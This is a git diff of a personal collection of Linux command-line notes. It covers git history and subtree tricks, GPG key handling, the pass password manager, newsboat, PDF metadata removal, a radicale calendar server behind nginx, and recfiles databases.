## Pulling another git repo into a subtree
|
||||
|
||||
```sh
|
||||
git subtree add -P config git@gitlab.com:bindrpg/config.git master
|
||||
```
|
||||
|
||||
# Tricks
|
||||
|
||||
## Delete All History
|
||||
|
||||
```sh
|
||||
git checkout --orphan temp
|
||||
```
|
||||
|
||||
```sh
|
||||
git add -A
|
||||
```
|
||||
|
||||
```sh
|
||||
git commit -am "release the commits!"
|
||||
```
|
||||
|
||||
```sh
|
||||
git branch -D master
|
||||
```
|
||||
|
||||
```sh
|
||||
git branch -m master
|
||||
```
|
||||
|
||||
```sh
|
||||
git push -f origin master
|
||||
```
|
||||
|
||||
Gitlab requires more changes, such as going to `settings > repository` and switching the main branch, then stripping protection.
|
||||
|
||||
## Clean up Bloated Repo
|
||||
|
||||
```sh
|
||||
git fsck --full
|
||||
```
|
||||
|
||||
```sh
|
||||
git gc --prune=now --aggressive
|
||||
```
|
||||
|
||||
```sh
|
||||
git repack
|
||||
```
|
||||
|
||||
## Find Binary Blobs
|
||||
|
||||
```sh
|
||||
git rev-list --objects --all \
|
||||
| git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' \
|
||||
| sed -n 's/^blob //p' \
|
||||
| sort --numeric-sort --key=2 \
|
||||
| cut -c 1-12,41- \
|
||||
| $(command -v gnumfmt || echo numfmt) --field=2 --to=iec-i --suffix=B --padding=7 --round=nearest
|
||||
|
||||
```
|
||||
|
||||
# More
|
||||
|
||||
For big binary files (like images), see [git large-file-storage](git-lfs.md)
|
22
data/git/commit_for_another.md
Normal file
22
data/git/commit_for_another.md
Normal file
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: "Commit for Another"
|
||||
tags: [ "data", "git" ]
|
||||
---
|
||||
|
||||
You can make Alice the author, while you are still the commiter:
|
||||
|
||||
```sh
|
||||
name="Alice Bobinson"
|
||||
email="alice@email.com"
|
||||
|
||||
git add ${file}
|
||||
git commit --author="${name} <${email}>"
|
||||
```
|
||||
|
||||
Or, make Alice both the committer and the author:
|
||||
|
||||
|
||||
```sh
|
||||
git -c user.name="${name}" -c user.email="${email}" commit -m "${message}"
|
||||
```
|
||||
|
73
data/git/git-lfs.md
Normal file
73
data/git/git-lfs.md
Normal file
@@ -0,0 +1,73 @@
|
||||
---
|
||||
title: "git-lfs"
|
||||
tags: [ "data", "git" ]
|
||||
requires: [ "git" ]
|
||||
---
|
||||
|
||||
Git Large File Storage ('LFS') needs to change your `~/.gitconfig` to check out those binary files:
|
||||
|
||||
```sh
|
||||
cat ~/.gitconfig
|
||||
git lfs install
|
||||
cat ~/.gitconfig
|
||||
```
|
||||
|
||||
Then track some filetypes with:
|
||||
|
||||
```sh
|
||||
cd $git_repository
|
||||
ext=ttf
|
||||
git lfs track "*.$ext"
|
||||
```
|
||||
|
||||
Or a directory with:
|
||||
|
||||
```sh
|
||||
git lfs track "images/"
|
||||
```
|
||||
|
||||
Track the changes to `.gitattributes`:
|
||||
|
||||
```sh
|
||||
git status
|
||||
git add .gitattributes
|
||||
git commit -m "add $ext to lfs"
|
||||
```
|
||||
|
||||
## Bash Completion
|
||||
|
||||
If bash completion does not work, you'll have to add it:
|
||||
|
||||
```sh
|
||||
git lfs completion bash | sudo tee /usr/share/bash-completion/completions/git-lfs
|
||||
```
|
||||
|
||||
## Trouble Shooting
|
||||
|
||||
You have some file "$FILE".png, which has some problem.
|
||||
|
||||
Check the filetype:
|
||||
|
||||
```sh
|
||||
file "$FILE".png
|
||||
```
|
||||
|
||||
This should say the type is 'image'.
|
||||
If it says the type is 'text', then this file is really just a reminder to `git-lfs` to check out that file.
|
||||
|
||||
Check `git-lfs` is expecting that file:
|
||||
|
||||
```sh
|
||||
git lfs status
|
||||
git lfs ls-files
|
||||
```
|
||||
|
||||
...then try these commands, and check the filetype again:
|
||||
|
||||
```sh
|
||||
git lfs fetch --all
|
||||
git lfs fsck
|
||||
git lfs checkout
|
||||
git lfs status
|
||||
```
|
||||
|
9
data/git/git_secret.md
Normal file
9
data/git/git_secret.md
Normal file
@@ -0,0 +1,9 @@
|
||||
---
|
||||
title: "git-secret"
|
||||
tags: [ "data", "git" ]
|
||||
---
|
||||
|
||||
This utility is largely useless, as it can only identify people by their email.
|
||||
So if someone has multiple GPG keys associated with one email, the tool will not work.
|
||||
|
||||
A broken tool is better than a tool which will break soon.
|
69
data/git/git_stash.md
Normal file
69
data/git/git_stash.md
Normal file
@@ -0,0 +1,69 @@
|
||||
---
|
||||
title: "git stash"
|
||||
tags: [ "data", "git" ]
|
||||
requires: [ "git" ]
|
||||
---
|
||||
|
||||
Save file-changes without committing anything.
|
||||
|
||||
Change a file:
|
||||
|
||||
```sh
|
||||
file=README.md
|
||||
fortune >> ${file}
|
||||
git diff
|
||||
git stash save
|
||||
```
|
||||
|
||||
List which stashes you have:
|
||||
|
||||
|
||||
```sh
|
||||
git stash list
|
||||
|
||||
stash@{1}: WIP on master: c21f102 init git
|
||||
```
|
||||
|
||||
Make a new file, then stash it:
|
||||
|
||||
|
||||
```sh
|
||||
otherfile=file.log
|
||||
fortune > ${otherfile}
|
||||
git add ${otherfile}
|
||||
stashname=logfile
|
||||
git stash save ${stashname}
|
||||
```
|
||||
|
||||
Now you can see two stashed changes, and the most recent has a name:
|
||||
|
||||
```sh
|
||||
git stash list
|
||||
|
||||
stash@{0}: On master: logfile
|
||||
stash@{1}: WIP on master: c21f102 init git
|
||||
```
|
||||
|
||||
You can delete a stash by referring to its index number, or name (if it has one).
|
||||
|
||||
```sh
|
||||
choice=1
|
||||
git stash drop ${choice}
|
||||
|
||||
choice=${stashname}
|
||||
git stash drop ${choice}
|
||||
```
|
||||
|
||||
Or just run `git stash drop` to remove the most recent (labelled `{0}`).
|
||||
|
||||
Return stashed changes with an index number (or the most recent).
|
||||
|
||||
```sh
|
||||
git stash pop ${choice}
|
||||
```
|
||||
|
||||
Delete all stashes:
|
||||
|
||||
```sh
|
||||
git stash clear
|
||||
```
|
29
data/git/hooks.md
Normal file
29
data/git/hooks.md
Normal file
@@ -0,0 +1,29 @@
|
||||
---
|
||||
title: "git hooks"
|
||||
tags: [ "data", "git" ]
|
||||
---
|
||||
|
||||
Check out the sample hooks:
|
||||
|
||||
```bash
|
||||
cd $GIT_REPO
|
||||
ls .git/hooks
|
||||
head .git/hooks/pre-commit.sample
|
||||
```
|
||||
|
||||
Add a hook to check the shell scripts in `$GIT_REPO` before making a commit:
|
||||
|
||||
```bash
|
||||
echo '#!/bin/sh
|
||||
shellcheck *.sh' > .git/hooks/commit-msg
|
||||
chmod u+x .git/hooks/commit-msg
|
||||
```
|
||||
|
||||
## Committing
|
||||
|
||||
Your `git hooks` will not enter the repository, but you can commit them to a repository, then request others add these git hooks to their own branch, by putting a note in the project's `README.md`.
|
||||
|
||||
```markdown
|
||||
The project comes with recommended git hooks.
|
||||
You can activate the hooks with `git config core.hooksPath hooks`.
|
||||
```
|
34
data/git/subtree.md
Normal file
34
data/git/subtree.md
Normal file
@@ -0,0 +1,34 @@
|
||||
---
|
||||
title: "git subtree"
|
||||
tags: [ "data", "git", "subtree" ]
|
||||
---
|
||||
|
||||
## Pulling a Subtree from an existing git
|
||||
|
||||
The project has subdirectories `sub-1`, `sub-2`, `sub-3`.
|
||||
The first should be its own repository, but should also retain its own history.
|
||||
|
||||
First, we extract its history as an independent item, and make that into a seprate branch.
|
||||
|
||||
```bash
|
||||
git subtree split --prefix=sub-1 -b sub
|
||||
```
|
||||
|
||||
If you want something a few directories deep, you can use `--prefix=sub-1/dir-2/dir-3
|
||||
|
||||
Then go and create a new git somewhere else:
|
||||
|
||||
```bash
|
||||
cd ..;mkdir sub-1;cd sub-1;git init --bare
|
||||
```
|
||||
|
||||
Then go back to your initial git repo, and do the following:
|
||||
|
||||
git push ../subtest sub:master
|
||||
|
||||
Finally, you can clone this repo from your original.
|
||||
|
||||
```bash
|
||||
git clone ../subtest
|
||||
```
|
||||
|
@@ -1,54 +0,0 @@
|
||||
---
|
||||
title: "gpg keys with ssh"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
---
|
||||
|
||||
<!--
|
||||
Source:
|
||||
https://ryanlue.com/posts/2017-06-29-gpg-for-ssh-auth
|
||||
-->
|
||||
|
||||
Install `gnupg`.
|
||||
|
||||
Generate a new gpg key just for authentication:
|
||||
|
||||
> gpg2 --expert --edit-key 024C6B1C84449BD1CB4DF7A152295D2377F4D70F
|
||||
|
||||
Toggle options `S`, `E`, and `A` until the following output:
|
||||
|
||||
```
|
||||
Current allowed actions: Authenticate
|
||||
```
|
||||
|
||||
Add ssh to the gpg key agent.
|
||||
|
||||
> echo enable-ssh-support >> ~/.gnupg/gpg-agent.conf
|
||||
|
||||
This won't take effect until you restart the gpg agent, so kill it:
|
||||
|
||||
> gpgconf --kill gpg-agent
|
||||
|
||||
> gpgconf --launch gpg-agent
|
||||
|
||||
Use 2048 (or whatever) bits, save, and exit.
|
||||
|
||||
Add this to your `~/.bash_profile`:
|
||||
|
||||
```
|
||||
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
|
||||
```
|
||||
|
||||
> source ~/.bash_profile
|
||||
|
||||
Find the ssh key's keygrip with:
|
||||
|
||||
> gpg -k --with-keygrip
|
||||
|
||||
It's the one with `[A]` next to it.
|
||||
Add it to `~/.gnupg/sshcontrol`.
|
||||
|
||||
> echo 1P0P6SA7S07Q8198414P126OR0514R3R8Q1389SP > ~/.gnupg/sshcontrol
|
||||
|
||||
Confirm it's added:
|
||||
|
||||
> ssh-add -l
|
92
data/gpg.md
92
data/gpg.md
@@ -1,93 +1,7 @@
|
||||
---
|
||||
title: "gpg"
|
||||
tags: [ "Documentation", "data" ]
|
||||
tags: [ "data", "gpg" ]
|
||||
---
|
||||
# Making keys
|
||||
|
||||
Generate keys:
|
||||
|
||||
> gpg --gen-key
|
||||
|
||||
Follow the guide.
|
||||
|
||||
# Encrypting a file
|
||||
|
||||
> gpg -r malinfreeborn@posteo.net -e file
|
||||
|
||||
`-r` specifies the recipient.
|
||||
|
||||
Check you have an encrypted version of your file.
|
||||
|
||||
# Changing Expiration Dates
|
||||
|
||||
gpg --list-keys
|
||||
|
||||
... and then use the second part of 'pub', which is the ID. But that's not appearing here so... on with gpg2?
|
||||
|
||||
# Making encrypted files with a local password
|
||||
|
||||
Make a password with a password (cypher encryption).
|
||||
|
||||
> gpg -c --output passwords.txt
|
||||
|
||||
or
|
||||
|
||||
> gpg -c > passwords.txt
|
||||
|
||||
Put in a password.
|
||||
|
||||
Write message then stop with Ctrl+d.
|
||||
|
||||
Get the message back out the file with:
|
||||
|
||||
> gpg -d passwords.txt
|
||||
|
||||
# Circles of Trust
|
||||
|
||||
Search for a key at any key store:
|
||||
|
||||
> gpg --search-keys nestorv
|
||||
|
||||
Once you've made a decision about someone:
|
||||
|
||||
> gpg --list-keys
|
||||
|
||||
You get something like this:
|
||||
|
||||
```
|
||||
pub rsa3072 2021-08-15 [SC] [expires: 2023-08-15]
|
||||
CD30421FD825696BD95F1FF644C62C57B790D3CF
|
||||
uid [ultimate] Malin Freeborn <malinfreeborn@posteo.net>
|
||||
sub rsa3072 2021-08-15 [E] [expires: 2023-08-15]
|
||||
|
||||
```
|
||||
|
||||
Notice the long, ugly, string - CD30421FD825696BD95F1FF644C62C57B790D3CF - and how horribly ugly it is.
|
||||
This is a fingerprint.
|
||||
|
||||
You can now decide the trust level (this stays on your computer).
|
||||
|
||||
> gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
|
||||
|
||||
Once you're in the interface, type `trust`.
|
||||
|
||||
> gpg --sign-key alice@posteo.net
|
||||
|
||||
Then send those trusted keys up to a server, so people can see you have verified them:
|
||||
|
||||
> gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
|
||||
|
||||
# Refresh Keys
|
||||
|
||||
> gpg --refresh-keys
|
||||
|
||||
# Export
|
||||
|
||||
Your public key:
|
||||
|
||||
> gpg --output *me*.gpg --armor --export
|
||||
|
||||
or
|
||||
|
||||
> gpg --export -a *person@email.tld* > *my_key*.pub
|
||||
|
||||
- [Setup](gpg/basics.md)
|
||||
- [Extras](gpg/extras.md)
|
||||
|
146
data/gpg/basics.md
Normal file
146
data/gpg/basics.md
Normal file
@@ -0,0 +1,146 @@
|
||||
---
|
||||
title: "GPG Basics"
|
||||
tags: [ "data", "GPG" ]
|
||||
---
|
||||
# Making keys
|
||||
|
||||
Generate keys:
|
||||
|
||||
```bash
|
||||
gpg --full-generate-key
|
||||
```
|
||||
|
||||
Follow the guide.
|
||||
|
||||
# Encrypting a file
|
||||
|
||||
```bash
|
||||
gpg -r malinfreeborn@posteo.net -e file
|
||||
```
|
||||
|
||||
`-r` specifies the recipient.
|
||||
|
||||
Check you have an encrypted version of your file.
|
||||
|
||||
# Changing Expiration Dates
|
||||
|
||||
|
||||
```bash
|
||||
gpg --list-keys
|
||||
# or...
|
||||
gpg -k
|
||||
```
|
||||
|
||||
... and then use the second part of 'pub', which is the ID. But that's not appearing here so... on with gpg2?
|
||||
|
||||
# Making encrypted files with a local password
|
||||
|
||||
Make a password with a password (cypher encryption).
|
||||
|
||||
```bash
|
||||
gpg -c --output passwords.txt
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```bash
|
||||
gpg -c > passwords.txt
|
||||
```
|
||||
|
||||
Put in a password.
|
||||
|
||||
Write message then stop with Ctrl+d.
|
||||
|
||||
Get the message back out the file with:
|
||||
|
||||
```bash
|
||||
gpg -d passwords.txt
|
||||
```
|
||||
|
||||
# Circles of Trust
|
||||
|
||||
Search for a key at any key store:
|
||||
|
||||
```bash
|
||||
gpg --search-keys nestorv
|
||||
```
|
||||
|
||||
Once you've made a decision about someone:
|
||||
|
||||
```bash
|
||||
gpg --list-keys
|
||||
```
|
||||
|
||||
You get something like this:
|
||||
|
||||
```
|
||||
pub rsa3072 2021-08-15 [SC] [expires: 2023-08-15]
|
||||
CD30421FD825696BD95F1FF644C62C57B790D3CF
|
||||
uid [ultimate] Malin Freeborn <malinfreeborn@posteo.net>
|
||||
sub rsa3072 2021-08-15 [E] [expires: after-forever]
|
||||
|
||||
```
|
||||
|
||||
Notice the long, ugly, string - `CD30421FD825696BD95F1FF644C62C57B790D3CF` - and how horribly ugly it is.
|
||||
This is a fingerprint.
|
||||
|
||||
You can now decide the trust level (this stays on your computer).
|
||||
|
||||
```bash
|
||||
gpg --edit-key CD30421FD825696BD95F1FF644C62C57B790D3CF
|
||||
```
|
||||
|
||||
Once you're in the interface, type `trust`.
|
||||
|
||||
```bash
|
||||
gpg --sign-key alice@posteo.net
|
||||
```
|
||||
|
||||
# Swapping Keys
|
||||
|
||||
This system relies on a ring of people swapping key information.
|
||||
|
||||
## Sending
|
||||
|
||||
Send those trusted keys up to a server, so people can see you have verified them:
|
||||
|
||||
```bash
|
||||
gpg --send-keys 024C6B1C84449BD1CB4DF7A152295D2377F4D70F
|
||||
```
|
||||
|
||||
## Upload Your Keys
|
||||
|
||||
## Add More Key Servers
|
||||
|
||||
Key servers often swap keys, but it's best to just send to multiple places immediately.
|
||||
You can add key servers by adding this to `~/.gnupg/gpg.conf`.
|
||||
|
||||
```
|
||||
keyserver hkps://keys.openpgp.org
|
||||
keyserver hkps://mail-api.proton.me
|
||||
keyserver hkps://keys.mailvelope.com
|
||||
```
|
||||
|
||||
# Refresh Keys
|
||||
|
||||
Refreshing keys will tell you if some key you have contains a signature from someone you already trust, or if someone has published a revocation certificate (meaning their key should not be trusted any more).
|
||||
|
||||
```bash
|
||||
gpg --refresh-keys
|
||||
```
|
||||
|
||||
You can use the [crontab](../../basics/cron.md) to refresh keys, but this will mostly fail, since keyservers often don't hold the right data.
|
||||
|
||||
# Export
|
||||
|
||||
Your public key:
|
||||
|
||||
```bash
|
||||
gpg --output me.gpg --armor --export
|
||||
```
|
||||
Alternatively:
|
||||
|
||||
```bash
|
||||
gpg --export -a person@email.tld > my_key.pub
|
||||
```
|
||||
|
11
data/gpg/extras.md
Normal file
11
data/gpg/extras.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
title: "gpg with vim"
|
||||
tags: [ "vim", "data", "GPG" ]
|
||||
requires: [ "GPG Basics", "vim basics" ]
|
||||
---
|
||||
|
||||
The `vim-gnupg` plugin lets vim edit gpg-encrypted files as if they were unencrypted.
|
||||
|
||||
It's probably in your package manager.
|
||||
If not, you'll need to endure the faff of following the [instructions](http://www.vim.org/scripts/script.php?script_id=3645).
|
||||
|
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "groff"
|
||||
tags: [ "Documentation", "Data" ]
|
||||
tags: [ "data", "logic" ]
|
||||
---
|
||||
# Basic Documents
|
||||
|
||||
|
19
data/interactive_string_substitution.md
Normal file
19
data/interactive_string_substitution.md
Normal file
@@ -0,0 +1,19 @@
|
||||
---
|
||||
title: "Interactive String Substitution"
|
||||
tags: [ "data", "vim", "substitution" ]
|
||||
---
|
||||
|
||||
Want to find and replace, but also confirm each instance?
|
||||
|
||||
```sh
|
||||
vim -c "%s/${pattern}/${replacement}/gc" -c 'wq' ${file}
|
||||
```
|
||||
|
||||
Notice that double-quotes (`"`) in the first command (`-c`).
|
||||
|
||||
Alternatively, check with an example string:
|
||||
|
||||
|
||||
```sh
|
||||
sed "s/${pattern}/ARGLEBARGLE/g" ${file} | grep 'ARGLEBARGLE'
|
||||
```
|
13
data/json.md
Normal file
13
data/json.md
Normal file
@@ -0,0 +1,13 @@
|
||||
---
|
||||
title: "ijq"
|
||||
tags: [ "data", "json", "TUI" ]
|
||||
---
|
||||
|
||||
Analyse `json` easier with `ijq`.
|
||||
|
||||
```sh
|
||||
column -J -ts: -H PW,GID,shell -N User,PW,UID,GID,Description,Home,shell /etc/passwd > host.json
|
||||
ijq !$
|
||||
```
|
||||
|
||||
If you get stuck, try adding `.[]`.
|
@@ -1,40 +1,52 @@
|
||||
---
|
||||
title: "khard"
|
||||
tags: [ "Documentation", "Data" ]
|
||||
tags: [ "data" ]
|
||||
---
|
||||
Get the basic config:
|
||||
|
||||
> mkdir ~/.config/khard
|
||||
```sh
|
||||
mkdir ~/.config/khard
|
||||
```
|
||||
|
||||
> cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
|
||||
```sh
|
||||
cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
|
||||
```
|
||||
|
||||
Short list
|
||||
|
||||
> khard list
|
||||
```sh
|
||||
khard list
|
||||
```
|
||||
|
||||
Longer list
|
||||
|
||||
> khard show
|
||||
```sh
|
||||
khard show
|
||||
```
|
||||
|
||||
Show from addressbook 'work'
|
||||
|
||||
> khard list -a work
|
||||
```sh
|
||||
khard list -a work
|
||||
```
|
||||
|
||||
Make a new contact in address book 'family'
|
||||
|
||||
> khard new -a family
|
||||
```sh
|
||||
khard new -a family
|
||||
```
|
||||
|
||||
> khard edit grampa
|
||||
```sh
|
||||
khard edit grampa
|
||||
```
|
||||
|
||||
> khard remove bob
|
||||
```sh
|
||||
khard remove bob
|
||||
```
|
||||
|
||||
Move contact 'nina' from 'work' to 'home' address book.
|
||||
|
||||
> khard move -a home nina -A work
|
||||
|
||||
## Advanced
|
||||
|
||||
Merge:
|
||||
|
||||
> khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
|
||||
```sh
|
||||
khard move -a home nina -A work
|
||||
```
|
||||
|
||||
|
@@ -1,12 +1,16 @@
|
||||
---
|
||||
title: "newsboat"
|
||||
tags: [ "Documentation", "RSS" ]
|
||||
tags: [ "RSS" ]
|
||||
---
|
||||
Create the configuration directory before you start, and add at least 1 URL.
|
||||
|
||||
> mkdir ~/.config/newsboat
|
||||
```bash
|
||||
mkdir ~/.config/newsboat
|
||||
```
|
||||
|
||||
> echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
|
||||
```bash
|
||||
echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
|
||||
```
|
||||
|
||||
Start `newsobat` and press `r` to load your feed.
|
||||
|
||||
@@ -24,7 +28,9 @@ You can input a Youtube channel by adding this, with the channel's ID at the end
|
||||
|
||||
To get the channel ID without hunting:
|
||||
|
||||
> curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
|
||||
```bash
|
||||
curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
|
||||
```
|
||||
|
||||
You can add arbitrary commands to get an RSS feed.
|
||||
For example, to get a Gemini feed, install `gemget`, then put this in the configuration file:
|
||||
@@ -58,9 +64,11 @@ Or or `,o` to open an article in w3m:
|
||||
|
||||
Add vim-like keys:
|
||||
|
||||
```
|
||||
bind-key j next
|
||||
bind-key k prev
|
||||
bind-key j down article
|
||||
bind-key k up article
|
||||
```
|
||||
> bind-key j next
|
||||
|
||||
> bind-key k prev
|
||||
|
||||
> bind-key j down article
|
||||
|
||||
> bind-key k up article
|
||||
|
||||
|
30
data/pass.md
30
data/pass.md
@@ -1,28 +1,42 @@
|
||||
---
|
||||
title: "pass"
|
||||
tags: [ "Documentation", "data" ]
|
||||
tags: [ "data" ]
|
||||
requires: "GPG Basics"
|
||||
---
|
||||
[Video instructions](https://www.hooktube.com/watch?v=hlRQTj1D9LA)
|
||||
|
||||
Setup [gpg](./gpg.md) keys.
|
||||
|
||||
Show your gpg secret it:
|
||||
|
||||
> gpg --list-secret-keys
|
||||
```sh
|
||||
gpg --list-secret-keys
|
||||
```
|
||||
|
||||
Then use the id number under `sec` to make a pass repo:
|
||||
|
||||
> pass init 187233O300300814PQ793NSSS539SQ1O6O184532
|
||||
```sh
|
||||
KEY="$(gpg --list-secret-keys | grep -m 1 -A1 '^sec' | tail -n 1)"
|
||||
```
|
||||
|
||||
To add a basic password, e.g. for an encrypted tarball, use:
|
||||
```sh
|
||||
pass init $KEY
|
||||
```
|
||||
|
||||
> pass add my-tar-gar.gz
|
||||
To add a basic password, e.g. for `$WEBSITE`:
|
||||
|
||||
```sh
|
||||
pass $WEBSITE
|
||||
```
|
||||
|
||||
To insert a multiline password, e.g. with a login name:
|
||||
|
||||
> pass add -m linuxrocks.online
|
||||
```sh
|
||||
pass add -m $WEBSITE
|
||||
```
|
||||
|
||||
Remove a password:
|
||||
|
||||
> pass rm linuxrocks.online
|
||||
```sh
|
||||
pass rm $WEBSITE
|
||||
```
|
||||
|
||||
|
@@ -1,8 +1,9 @@
|
||||
---
|
||||
title: "pdf to txt"
|
||||
tags: [ "Documentation", "data", "pdf", "ocr" ]
|
||||
tags: [ "data", "pdf", "ocr" ]
|
||||
---
|
||||
How to translate pdf book images to text (results are very poor, and will need lots of corrections).
|
||||
|
||||
How to translate pdfs to text (results are very poor, and will need lots of corrections).
|
||||
|
||||
## Dependencies
|
||||
|
||||
@@ -12,10 +13,13 @@ Arch: tesseract-data-eng and poppler-utils
|
||||
|
||||
## Script
|
||||
|
||||
> pdftoppm -png *file*.pdf test
|
||||
```bash
|
||||
pdftoppm -png *file*.pdf test
|
||||
```
|
||||
|
||||
> for x in \*png; do
|
||||
> tesseract -l eng "$x" - >> *out*.txt
|
||||
> done
|
||||
```bash
|
||||
for x in *png; do
|
||||
tesseract -l eng "$x" - >> out.txt
|
||||
done
|
||||
```
|
||||
|
||||
- [Example script](data/pdf-to-txt.sh)
|
||||
|
28
data/pdf_erasure.md
Normal file
28
data/pdf_erasure.md
Normal file
@@ -0,0 +1,28 @@
|
||||
---
|
||||
title: "PDF Metadata Erasure"
|
||||
tags: [ "metadata", "ghost script", "gs", ".pdf" ]
|
||||
---
|
||||
|
||||
You cannot erase pdf metadata with `exiftool` (it only *appends* your changes).
|
||||
To delete pdf metadata, you'll need `gs`.
|
||||
|
||||
Make a text file called 'pdfmark.txt'.
|
||||
|
||||
|
||||
```text
|
||||
[ /Title ()
|
||||
/Author ()
|
||||
/Subject ()
|
||||
/Creator ()
|
||||
/ModDate ()
|
||||
/Producer ()
|
||||
/Keywords ()
|
||||
/CreationDate ()
|
||||
/DOCINFO pdfmark
|
||||
```
|
||||
|
||||
Then run:
|
||||
|
||||
```bash
|
||||
gs -o output.pdf -sDEVICE=pdfwrite "$FILE".pdf pdfmark.txt
|
||||
```
|
123
data/radicale.md
Normal file
123
data/radicale.md
Normal file
@@ -0,0 +1,123 @@
|
||||
---
|
||||
title: "radicale and nginx"
|
||||
tags: [ "data", "calendar" ]
|
||||
requires: [ "nginx", "certbot" ]
|
||||
---
|
||||
|
||||
Check before you start:
|
||||
|
||||
- you have a normally running site on nginx already.
|
||||
- your server has the directory `/etc/nginx/sites-enabled/` enabled in the nginx config.
|
||||
|
||||
## Installation and Service
|
||||
|
||||
Install `radicale` through your package manager (not `pip`).
|
||||
The standard `radicale` package should come with a nice `systemd` service file.
|
||||
|
||||
If the service comes already-started, stop it immediately:
|
||||
|
||||
```bash
|
||||
sudo systemctl stop radicale
|
||||
```
|
||||
|
||||
## Set up Passwords
|
||||
|
||||
Edit `/etc/radicale/config`, changing the `[auth]` section from this:
|
||||
|
||||
```
|
||||
#type = none
|
||||
```
|
||||
|
||||
...to this:
|
||||
```
|
||||
type = htpasswd
|
||||
```
|
||||
|
||||
Make sure the service is off, as people may be able to sign in without a password at this point.
|
||||
|
||||
Next, find the `htpasswd` program.
|
||||
You might get it in the `apache` package or similar.
|
||||
|
||||
`htpasswd` allows you to generate passwords for users, and place them in `/etc/radicale/users`.
|
||||
|
||||
```bash
|
||||
PASS="$(xkcdpass)"
|
||||
htpasswd -nb $USER "$PASS" | sudo tee -a /etc/radicale/users
|
||||
echo "Your username is $USER"
|
||||
echo "Your password is $PASS"
|
||||
```
|
||||
Right now, you can't sign into the server except through the localhost, which is pointless.
|
||||
So now we add a subdomain to `nginx`.
|
||||
|
||||
```nginx
|
||||
|
||||
echo '
|
||||
server {
|
||||
if ($host = cal.DOMAIN) {
|
||||
return 301 https://$host$request_uri;
|
||||
} # managed by Certbot
|
||||
|
||||
|
||||
listen 80;
|
||||
server_name cal.DOMAIN;
|
||||
|
||||
location / {
|
||||
proxy_pass http://localhost:5232;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
|
||||
return 301 https://$server_name$request_uri;
|
||||
|
||||
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
server_name cal.DOMAIN;
|
||||
ssl_certificate /etc/letsencrypt/live/cal.DOMAIN/fullchain.pem; # managed by Certbot
|
||||
ssl_certificate_key /etc/letsencrypt/live/cal.DOMAIN/privkey.pem; # managed by Certbot
|
||||
|
||||
location / {
|
||||
proxy_pass http://localhost:5232;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
|
||||
}
|
||||
' > /etc/nginx/sites-available/radicale
|
||||
sudo ln -s /etc/nginx/sites-available/radicale /etc/nginx/sites-enables/
|
||||
```
|
||||
|
||||
Finally, replace the example `DOMAIN` with your actual domain name.
|
||||
|
||||
```bash
|
||||
DOMAIN=whatever.com
|
||||
sudo sed -i "s/DOMAIN/$DOMAIN/g" /etc/nginx/sites-available/radicale
|
||||
```
|
||||
|
||||
(optional: replace that `cal.` prefix with anything else)
|
||||
|
||||
Check nginx is happy:
|
||||
|
||||
```bash
|
||||
sudo nginx -t
|
||||
```
|
||||
You will almost certainly need a new SSL certificate for the site:
|
||||
|
||||
```bash
|
||||
sudo certbod -d cal.$DOMAIN
|
||||
```
|
||||
|
||||
Start or restart both services:
|
||||
|
||||
```bash
|
||||
sudo systemctl start radicale
|
||||
sudo systemctl restart nginx
|
||||
```
|
||||
|
||||
You should now be able to log into your calendar, and add it to a phone.
|
||||
|
||||
**NB:** you don't need the port number.
|
54
data/recfiles.md
Normal file
54
data/recfiles.md
Normal file
@@ -0,0 +1,54 @@
|
||||
---
|
||||
title: "Recfiles"
|
||||
tags: [ "data", "database" ]
|
||||
---
|
||||
|
||||
Create:
|
||||
|
||||
```sh
|
||||
database=games.rec
|
||||
touch $database
|
||||
for g in Vojvodina Saboter Carcassonne Chess; do
|
||||
recins -r "Name: $g" -r "Played: yes" $database
|
||||
done
|
||||
```
|
||||
|
||||
Read:
|
||||
|
||||
```sh
|
||||
recsel $database
|
||||
query=Carc
|
||||
recsel --quick=$query $database
|
||||
|
||||
game=Vojvodina
|
||||
recsel --expression="Name = '${game}'" $database
|
||||
```
|
||||
|
||||
Update:
|
||||
|
||||
```sh
|
||||
recset --expression="Name = '${game}'" -f Played --set="no" $database
|
||||
new_field=Played
|
||||
value=no
|
||||
recset -f "$new_field" --delete $database
|
||||
recset -f "$new_field" --set-add="$value" $database
|
||||
recsel $database
|
||||
```
|
||||
|
||||
Delete:
|
||||
|
||||
```sh
|
||||
recdel --expression="Name = '${game}'" $database
|
||||
recset -f "$new_field" --delete $database
|
||||
```
|
||||
|
||||
- [Extended example](recfiles/extended.md)
|
||||
- [Playing with board games data](recfiles/Board_Games.md)
|
||||
- [Playing with IP addresses](recfiles/IP_ASN.md)
|
||||
- [Manage LaTeX Bibliographies](recfiles/bibliography.md)
|
||||
- [Fixes](recfiles/recfixes.md)
|
||||
|
||||
# Resources
|
||||
|
||||
- [Recfiles for gemini capsules](gemini://tilde.town/~dozens/gemlog/21.gmi)
|
||||
|
121
data/recfiles/bibliography.md
Normal file
121
data/recfiles/bibliography.md
Normal file
@@ -0,0 +1,121 @@
|
||||
---
|
||||
title: "Recfile Bibliography for TeX"
|
||||
